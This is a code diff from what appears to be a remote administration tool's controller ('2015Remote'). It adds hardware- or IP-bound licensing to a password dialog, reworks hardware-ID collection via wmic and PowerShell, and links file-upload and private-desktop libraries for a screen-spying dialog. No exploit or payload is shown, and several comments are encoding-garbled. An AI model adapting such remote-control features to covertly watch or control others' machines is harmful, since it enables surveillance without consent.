     CDialogBase* GetRemoteWindow(HWND hWnd);
+    CDialogBase* GetRemoteWindow(CDialogBase* dlg);
     void RemoveRemoteWindow(HWND wnd);
     CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
     afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);

server/2015Remote/CPasswordDlg.cpp

@@ -89,6 +89,8 @@ CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
     : CDialogEx(IDD_DIALOG_PASSWORD, pParent)
     , m_sDeviceID(_T(""))
     , m_sPassword(_T(""))
+    , m_sPasscodeHmac(THIS_CFG.GetStr("settings", "PwdHmac", "").c_str())
+    , m_nBindType(THIS_CFG.GetInt("settings", "BindType", 0))
 {
     m_hIcon = nullptr;
 }
@@ -106,10 +108,15 @@ void CPasswordDlg::DoDataExchange(CDataExchange* pDX)
     DDV_MaxChars(pDX, m_sDeviceID, 19);
     DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
     DDV_MaxChars(pDX, m_sPassword, 42);
+    DDX_Control(pDX, IDC_COMBO_BIND, m_ComboBinding);
+    DDX_Control(pDX, IDC_EDIT_PASSCODE_HMAC, m_EditPasscodeHmac);
+    DDX_Text(pDX, IDC_EDIT_PASSCODE_HMAC, m_sPasscodeHmac);
+    DDX_CBIndex(pDX, IDC_COMBO_BIND, m_nBindType);
 }
 
 
 BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
+    ON_CBN_SELCHANGE(IDC_COMBO_BIND, &CPasswordDlg::OnCbnSelchangeComboBind)
 END_MESSAGE_MAP()
 
 
@@ -121,10 +128,32 @@ BOOL CPasswordDlg::OnInitDialog()
     m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
     SetIcon(m_hIcon, FALSE);
 
+    m_ComboBinding.InsertString(0, "计算机硬件信息");
+    m_ComboBinding.InsertString(1, "主控IP或域名信息");
+    m_ComboBinding.SetCurSel(m_nBindType);
+
     return TRUE;  // return TRUE unless you set the focus to a control
     // 异常: OCX 属性页应返回 FALSE
 }
 
+void CPasswordDlg::OnCbnSelchangeComboBind()
+{
+    m_nBindType = m_ComboBinding.GetCurSel();
+    std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType);
+    m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str();
+    m_EditDeviceID.SetWindowTextA(m_sDeviceID);
+}
+
+void CPasswordDlg::OnOK()
+{
+    UpdateData(TRUE);
+    if (!m_sDeviceID.IsEmpty()) {
+        THIS_CFG.SetInt("settings", "BindType", m_nBindType);
+        THIS_CFG.SetStr("settings", "PwdHmac", m_sPasscodeHmac.GetString());
+    }
+
+    CDialogEx::OnOK();
+}
 
 // CPasswordDlg 消息处理程序
 
@@ -197,7 +226,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
                            getFixedLengthID(finalKey);
     m_sPassword = fixedKey.c_str();
     m_EditPassword.SetWindowTextA(fixedKey.c_str());
-    std::string hardwareID = getHardwareID(getHwFallback);
+    std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
     std::string hashedID = hashSHA256(hardwareID);
     std::string deviceID = getFixedLengthID(hashedID);
     std::string hmac = genHMAC(pwdHash, m_sUserPwd.GetString());

server/2015Remote/CPasswordDlg.h

@@ -41,6 +41,12 @@ public:
     CString m_sDeviceID;
     CString m_sPassword;
     virtual BOOL OnInitDialog();
+    CComboBox m_ComboBinding;
+    afx_msg void OnCbnSelchangeComboBind();
+    CEdit m_EditPasscodeHmac;
+    CString m_sPasscodeHmac;
+    int m_nBindType;
+    virtual void OnOK();
 };
 
 

server/2015Remote/IOCPServer.h

@@ -130,7 +130,8 @@ public:
         m_IPAddress = pContext->GetPeerName().c_str();
         m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
     }
-    int UpdateContext(CONTEXT_OBJECT* pContext) {
+    int UpdateContext(CONTEXT_OBJECT* pContext)
+    {
         m_ContextObject = pContext;
         m_iocpServer = pContext->GetServer();
         m_ContextObject->hDlg = this;
@@ -139,7 +140,8 @@ public:
     virtual ~CDialogBase() {}
 
 public:
-    virtual BOOL ReceiveCommonMsg() {
+    virtual BOOL ReceiveCommonMsg()
+    {
         switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
         case TOKEN_CLIENT_MSG: {
             ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
@@ -175,7 +177,8 @@ public:
     {
         delete this;
     }
-    virtual BOOL ShouldReconnect() {
+    virtual BOOL ShouldReconnect()
+    {
         return FALSE;
     }
     // ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
@@ -185,10 +188,12 @@ public:
 
         m_ContextObject->CancelIO();
     }
-    BOOL IsClosed() const {
+    BOOL IsClosed() const
+    {
         return m_bIsClosed;
     }
-    BOOL SayByeBye() {
+    BOOL SayByeBye()
+    {
         BYTE bToken = COMMAND_BYE;
         return m_ContextObject->Send2Client(&bToken, 1);
     }

server/2015Remote/ScreenSpyDlg.cpp

@@ -44,32 +44,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
 #pragma comment(lib, "PrivateDesktop_Libx64.lib")
 #endif
 #else
-int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
-{
-    return 0;
-}
-int UninitFileUpload()
-{
-    return 0;
-}
-std::vector<std::string> GetClipboardFiles(int &result)
-{
-    return{};
-}
-bool GetCurrentFolderPath(std::string& outDir)
-{
-    return false;
-}
-int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
-                            void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
-{
-    finish(user);
-    return 0;
-}
-int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
-{
-    return 0;
-}
+#ifdef _DEBUG
+#pragma comment(lib, "FileUpload_Libd.lib")
+#pragma comment(lib, "PrivateDesktop_Libd.lib")
+#else
+#pragma comment(lib, "FileUpload_Lib.lib")
+#pragma comment(lib, "PrivateDesktop_Lib.lib")
+#endif
 #endif
 
 extern "C" void* x265_api_get_192()
@@ -825,8 +806,7 @@ VOID CScreenSpyDlg::UpdateServerClipboard(char* szBuffer, ULONG ulLength)
                 if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) {
                     GlobalFree(hGlobal);
                 }
-			}
-			else {
+            } else {
                 GlobalFree(hGlobal);
             }
         }

server/2015Remote/ScreenSpyDlg.h

@@ -46,7 +46,8 @@ class CScreenSpyDlg : public DialogBase
 public:
     CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
     virtual ~CScreenSpyDlg();
-	virtual BOOL ShouldReconnect() {
+    virtual BOOL ShouldReconnect()
+    {
         return TRUE;
     }
 

server/2015Remote/Server.h

@@ -484,7 +484,8 @@ public:
         server = svr;
         OnlineTime = time(0);
     }
-    uint64_t GetAliveTime()const {
+    uint64_t GetAliveTime()const
+    {
         return time(0) - OnlineTime;
     }
     Server* GetServer()
@@ -520,7 +521,8 @@ public:
     {
         return PeerName;
     }
-    void SetPeerName(const std::string& peer) {
+    void SetPeerName(const std::string& peer)
+    {
         PeerName = peer;
     }
     virtual int GetPort() const

server/2015Remote/pwd_gen.cpp

@@ -85,10 +85,11 @@ std::string execCommand(const char* cmd)
     result.erase(remove(result.begin(), result.end(), '\r'), result.end());
 
     // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-    return result;
+    return result.empty() ? "ERROR" : result;
 }
 
-std::string getHardwareID_PS() {
+std::string getHardwareID_PS()
+{
     // Get-WmiObject <20><> PowerShell 2.0+ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (>=Win7)
     const char* psScript =
         "(Get-WmiObject Win32_Processor).ProcessorId + '|' + "
@@ -107,20 +108,23 @@ std::string getHardwareID_PS() {
 }
 
 // <20><>ȡӲ<C8A1><D3B2> ID<49><44>CPU + <20><><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
-std::string getHardwareID(fallback fb)
+std::string getHardwareID()
 {
-	// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><EFBFBD><EFBFBD><EFBFBD>
-	std::string psID = getHardwareID_PS();
-	if (!psID.empty()) {
-		return psID;
-	}
+    // wmic<69><63><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ܱ<EFBFBD><DCB1>Ƴ<EFBFBD><EFBFBD><EFBFBD>
     std::string cpuID = execCommand("wmic cpu get processorid");
     std::string boardID = execCommand("wmic baseboard get serialnumber");
     std::string diskID = execCommand("wmic diskdrive get serialnumber");
-
     std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
-    if (fb && combinedID.find("ERROR") != std::string::npos) {
-        return fb();
+    if (combinedID.find("ERROR") != std::string::npos) {
+        // ʧ<><CAA7><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> PowerShell <20><><EFBFBD><EFBFBD>
+        std::string psID = getHardwareID_PS();
+        if (!psID.empty()) {
+            Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str());
+            return psID;
+        }
+        Mprintf("Get hardware info FAILED!!! \n");
+        Sleep(1234);
+        TerminateProcess(GetCurrentProcess(), 0);
     }
     return combinedID;
 }
@@ -170,11 +174,10 @@ std::string deriveKey(const std::string& password, const std::string& hardwareID
     return hashSHA256(password + " + " + hardwareID);
 }
 
-std::string getDeviceID(fallback fb)
+std::string getDeviceID(const std::string &hardwareId)
 {
-    static std::string hardwareID = getHardwareID(fb);
-    static std::string hashedID = hashSHA256(hardwareID);
-    static std::string deviceID = getFixedLengthID(hashedID);
+    std::string hashedID = hashSHA256(hardwareId);
+    std::string deviceID = getFixedLengthID(hashedID);
     return deviceID;
 }
 

server/2015Remote/pwd_gen.h

@@ -2,11 +2,9 @@
 
 #include <string>
 
-typedef std::string(*fallback)();
-
 // <20><><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD>˹<EFBFBD><CBB9>ܽ<EFBFBD><DCBD>м<EFBFBD><D0BC><EFBFBD>
 
-std::string getHardwareID(fallback fb = NULL);
+std::string getHardwareID();
 
 std::string hashSHA256(const std::string& data);
 
@@ -16,7 +14,7 @@ std::string getFixedLengthID(const std::string& hash);
 
 std::string deriveKey(const std::string& password, const std::string& hardwareID);
 
-std::string getDeviceID(fallback fb = NULL);
+std::string getDeviceID(const std::string &hardwareId);
 
 // Use HMAC to sign a message.
 uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len);